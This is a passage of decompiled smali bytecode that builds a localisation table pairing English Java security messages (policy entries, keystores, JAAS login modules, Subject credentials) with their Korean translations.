                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "\uc774\ub984 \uc5c6\uc774 Principal\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c\uacfc \ub300\uc0c1 \uc774\ub984\uc740 \uac12\uc744 \uac00\uc838\uc57c \ud569\ub2c8\ub2e4."
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "\uc774 \uc815\ucc45 \ud56d\ubaa9\uc744 \uc81c\uac70\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "\ud30c\uc77c \uacb9\uccd0\uc4f0\uae30"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "\uc815\ucc45\uc744 \ud30c\uc77c \uc774\ub984\uc5d0 \uc131\uacf5\uc801\uc73c\ub85c \uae30\ub85d\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "\ud30c\uc77c \uc774\ub984\uc774 \uc5c6\uc74c"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\ubcc0\uacbd \uc0ac\ud56d\uc744 \uc800\uc7a5\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "\uc608"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "\uc544\ub2c8\uc624"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "\uc815\ucc45 \ud56d\ubaa9"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "\ubcc0\uacbd \uc0ac\ud56d \uc800\uc7a5"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "\uc815\ucc45 \ud56d\ubaa9\uc774 \uc120\ud0dd\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "\ud0a4 \uc800\uc7a5\uc18c\ub97c \uc5f4 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4. {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "Principal\uc744 \uc120\ud0dd\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c\uc744 \uc120\ud0dd\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "\uc774\ub984"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "\uad6c\uc131 \uc720\ud615"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "\ud658\uacbd \ubcc0\uc218 \uc774\ub984"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "\ub77c\uc774\ube0c\ub7ec\ub9ac \uc774\ub984"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "\ud328\ud0a4\uc9c0 \uc774\ub984"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "\uc815\ucc45 \uc720\ud615"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "\ud2b9\uc131 \uc774\ub984"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "\uacf5\uae09\uc790 \uc774\ub984"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "\uae30\ubcf8 \ubaa9\ub85d"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "\uad8c\ud55c \ubaa9\ub85d"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "\ucf54\ub4dc \ubca0\uc774\uc2a4"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "\ud0a4 \uc800\uc7a5\uc18c U R L:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "\ud0a4 \uc800\uc7a5\uc18c \ube44\ubc00\ubc88\ud638 U R L:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "\uc798\ubabb\ub41c null \uc785\ub825"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "\uc791\uc5c5\uc740 \'\uc77d\uae30\' \uc804\uc6a9\uc785\ub2c8\ub2e4."
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c \uc774\ub984 [{0}] \uad6c\ubb38\uc774 \uc798\ubabb\ub418\uc5c8\uc2b5\ub2c8\ub2e4: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Principal \ud074\ub798\uc2a4 \ubc0f \uc774\ub984 \ub2e4\uc74c\uc5d0 \uc778\uc99d\uc11c \ud074\ub798\uc2a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Principal \uc774\ub984 \ub2e4\uc74c\uc5d0 Principal \ud074\ub798\uc2a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principal \uc774\ub984\uc740 \uc778\uc6a9 \ubd80\ud638\ub85c \ubb36\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Principal \uc774\ub984\uc5d0 \ub2eb\ub294 \uc778\uc6a9 \ubd80\ud638\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "PrivateCredentialPermission Principal \ud074\ub798\uc2a4\ub294 Principal \uc774\ub984\uc774 \uc640\uc77c\ub4dc\uce74\ub4dc(*) \uac12\uc774 \uc544\ub2cc \uacbd\uc6b0 \uc640\uc77c\ub4dc\uce74\ub4dc(*) \uac12\uc774 \ub420 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tPrincipal \ud074\ub798\uc2a4 = \ud074\ub798\uc2a4\n\tPrincipal \uc774\ub984 = \uc774\ub984"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "null \uc774\ub984\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "null \ud0a4\uc6cc\ub4dc \ub9f5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "null OID \ub9f5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "\uc798\ubabb\ub41c null AccessControlContext\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "\uc798\ubabb\ub41c null \uc791\uc5c5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "\uc798\ubabb\ub41c null \ud074\ub798\uc2a4\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "\uc81c\ubaa9:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\t\uacf5\uac1c \uc778\uc99d\uc11c: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\t\uac1c\uc778 \uc778\uc99d\uc11c\uc5d0 \uc561\uc138\uc2a4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\t\uac1c\uc778 \uc778\uc99d\uc11c: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\t\uac1c\uc778 \uc778\uc99d\uc11c\uc5d0 \uc561\uc138\uc2a4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "\uc81c\ubaa9\uc774 \uc77d\uae30 \uc804\uc6a9\uc785\ub2c8\ub2e4."
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "java.security.Principal\uc758 \uc778\uc2a4\ud134\uc2a4\uac00 \uc544\ub2cc \uac1d\uccb4\ub97c \uc81c\ubaa9\uc758 Principal \uc138\ud2b8\uc5d0 \ucd94\uac00\ud558\ub824\uace0 \uc2dc\ub3c4\ud558\ub294 \uc911"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "\ud074\ub798\uc2a4\uc758 \uc778\uc2a4\ud134\uc2a4\uac00 \uc544\ub2cc \uac1d\uccb4\ub97c \ucd94\uac00\ud558\ub824\uace0 \uc2dc\ub3c4\ud558\ub294 \uc911"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "\uc798\ubabb\ub41c null \uc785\ub825: \uc774\ub984"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "{0}\uc5d0 \ub300\ud574 LoginModules\uac00 \uad6c\uc131\ub418\uc9c0 \uc54a\uc558\uc74c"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "\uc798\ubabb\ub41c null \uc81c\ubaa9\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "\uc798\ubabb\ub41c null CallbackHandler\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "null \uc81c\ubaa9 - \ub85c\uadf8\uc778 \uc804\uc5d0 \ub85c\uadf8\uc544\uc6c3\uc744 \ud638\ucd9c\ud588\uc2b5\ub2c8\ub2e4."
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "\uc778\uc218\uac00 \uc5c6\ub294 \uad6c\uc131\uc790\ub97c \uc81c\uacf5\ud558\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0 LoginModule, {0}\uc744(\ub97c) \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "LoginModule\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "LoginModule\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4. "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "LoginModule \ud074\ub798\uc2a4\ub97c \ucc3e\uc744 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "LoginModule\uc5d0 \uc561\uc138\uc2a4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "\ub85c\uadf8\uc778 \uc2e4\ud328: \ubaa8\ub4e0 \ubaa8\ub4c8\uc774 \ubb34\uc2dc\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: {0}\uc744(\ub97c) \uad6c\ubb38 \ubd84\uc11d\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: {0} \uc0ac\uc6a9 \uad8c\ud55c\uc744 \ucd94\uac00\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: \ud56d\ubaa9\uc744 \ucd94\uac00\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "\ubcc4\uce6d\uc774 \uc81c\uacf5\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4({0})."
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "\ubcc4\uce6d{0}\uc5d0\uc11c \ub300\uccb4 \uc218\ud589\uc774 \ubd88\uac00\ub2a5\ud569\ub2c8\ub2e4."
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "\ub300\uccb4 \uac12 {0}\uc774(\uac00) \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
